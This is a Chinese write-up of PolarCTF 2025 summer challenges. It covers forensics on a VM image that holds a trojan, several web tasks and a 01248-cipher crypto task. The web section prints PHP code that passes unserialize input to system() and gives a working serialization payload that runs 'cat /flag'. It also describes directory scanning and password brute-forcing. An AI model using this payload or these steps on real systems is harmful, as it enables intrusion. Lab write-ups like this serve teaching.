PolarCTF2025夏季个人挑战赛
Misc
签到题
关注官方公众号,发送指定内容获取
狂热粉丝
用虚拟机打开文件夹中的.ovf文件
打开虚拟机后,打开edge浏览器,查看历史记录

发现有一个没见过的网站Tinode
同时也可以知道它的IP地址是:192.168.192.129
(可能有人会觉得会是QQ,毕竟开始的时候QQ会自启动,但是考虑到黑客也不傻,所以一般也不会在QQ上交流这种事情)
第1题的答案是:Tinode
第4题的答案是:192.168.192.129
接下来再康康电脑主机上的文件
(养成好习惯,在查看-选项里把隐藏文件拓展名的功能关掉,还有不显示隐藏文件也顺手关了,以免纰漏)
桌面上有个chat-master,根据文件夹名可初步断定是构建聊天网站的源码
之后我们再搜罗一下,可以发现文档里面有个program,比较可疑
点进去康康

可以看到里面有个文件名为NewWorld.exe相当可疑,初步断定是木马文件,尝试提交成功
第2题的答案是:NewWorld.exe
之后,可以打开main.py文件,毕竟所谓main,还是比较主要的东西,简单预览一下

你看,自己都说它是木马,经提交后断定其为木马脚本
第3题的答案是:python
继续看

注释说明对cmd.exe进行处理,可以断定加密了这个文件
第5题的答案是:cmd.exe
Web
简单的链子
linux中的whoami函数可以查看当前登录用户的名称(写给自己康的)
以下为题目的源代码
<?php
class A { //定义类A
public $cmd; //定义公共变量cmd
function __destruct() { //析构函数,在对象销毁时自动调用
if (isset($this->cmd)) {
system($this->cmd);
}
}
}
if (isset($_GET['data'])) { //isset验证data是否为空
$data = $_GET['data'];
@unserialize($data); //@抑制错误提示,反序列化
} else { highlight_file(__FILE__); //没有传参则高亮代码
}
则payload如下:
<?php
class A {
public $cmd = 'cat /flag';
}
echo urlencode(serialize(new A())); //new A()可以创建一个类A的实例
?>
(没地方跑PHP代码的推荐下面这个网站)
PHP Sandbox - Execute PHP code online through your browser
最后将输出结果赋值给data即可获得flag
命运石之门
没什么提示,所以我们先翻一下源码
看到有个注释:5pyJ5pe25YCZ77yM6aqM6K+B56CB5piv5ZCm5aW95L2/5LiN6YeN6KaB
可以知道这个是base64编码,翻译一下可知是在说验证码不重要,所以我们这里用万能验证码
万能验证码:0000
之后再用dirsearch扫一下这个靶机地址
发现有个password.txt密码本,在靶机地址下的password.txt目录中,打开后把里面的内容复制下来
然后到burpsuite爆破阿尔法线,之后再爆破贝塔线(也是一个密码本),即可获得flag
RCE命令执行系统
进入后简单尝试一下


可以看到,有些字符和命令都被过滤掉了
再看看环境变量

看到FLAG了吗?
很遗憾,是假的捏
所以我们只能尝试一下dirsearch扫描一下
(做web题对网络环境要求还是很高的,不然扫描起来极其的慢)

OMG,冒绿光嘞
过去康康

应该是想让我们替换一下flag.txt路径的对应字符

提示我们给XOR_KEY传参,靶场名即Polar
再回到命令执行界面进行传参

大功告成!
Crypto
云影
这道题考察运营密码,又称“01248密码”
密码原理
有1,2,4,8这四个数字,可以通过加法来用这四个数字表示0-9中的任何一个数字,列如0=28, 也就是0=2+8,同理7=124, 9=18。这样之后再用1-26来表示26个英文字母,就有了密文与明文之间的对应关系。引入0来作为间隔,以免出现混乱。所以云影密码又叫“01248密码”。
以下是原文链接
https://blog.csdn.net/weixin_49298265/article/details/120992796
payload如下:
a = "5212081052120120885309853"
s = a.split('0')#以零为界,分隔成数组
print(s)
l = []
for i in s:
sum = 0#局部变量sum
for j in i:
sum += eval(j)#eval函数可将字符串转成数字
l.append(chr(sum+64))#chr函数将数字再转为字符串
print(''.join(l))#不添加分隔符,将数组l中的每个元素进行连接
最后将输出结果进行MD5加密,再套入flag{}即可

浙公网安备 33010602011771号